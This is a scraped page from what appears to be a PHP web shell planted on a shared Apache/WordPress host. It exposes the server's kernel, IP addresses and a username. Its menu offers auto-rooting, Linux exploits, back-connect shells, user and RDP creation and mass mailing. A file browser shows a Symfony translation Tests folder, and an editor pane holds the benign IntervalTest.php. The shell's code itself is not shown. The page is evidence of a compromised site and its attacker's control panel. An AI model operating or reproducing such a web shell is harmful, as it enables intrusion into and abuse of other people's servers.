Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
translation /
Tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Catalogue
[ DIR ]
drwxr-xr-x
DataCollector
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Dumper
[ DIR ]
drwxr-xr-x
Extractor
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Writer
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
DataCollectorTranslatorTest.ph...
3.18
KB
-rw-r--r--
IdentityTranslatorTest.php
3.41
KB
-rw-r--r--
IntervalTest.php
1.15
KB
-rw-r--r--
LoggingTranslatorTest.php
1.7
KB
-rw-r--r--
MessageCatalogueTest.php
8.37
KB
-rw-r--r--
MessageSelectorTest.php
7.65
KB
-rw-r--r--
PluralizationRulesTest.php
3.84
KB
-rw-r--r--
TranslatorCacheTest.php
11.13
KB
-rw-r--r--
TranslatorTest.php
20.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : IntervalTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Translation\Interval; class IntervalTest extends TestCase { /** * @dataProvider getTests */ public function testTest($expected, $number, $interval) { $this->assertEquals($expected, Interval::test($number, $interval)); } public function testTestException() { $this->expectException('Symfony\Component\Translation\Exception\InvalidArgumentException'); Interval::test(1, 'foobar'); } public function getTests() { return [ [true, 3, '{1,2, 3 ,4}'], [false, 10, '{1,2, 3 ,4}'], [false, 3, '[1,2]'], [true, 1, '[1,2]'], [true, 2, '[1,2]'], [false, 1, ']1,2['], [false, 2, ']1,2['], [true, log(0), '[-Inf,2['], [true, -log(0), '[-2,+Inf]'], ]; } }
Close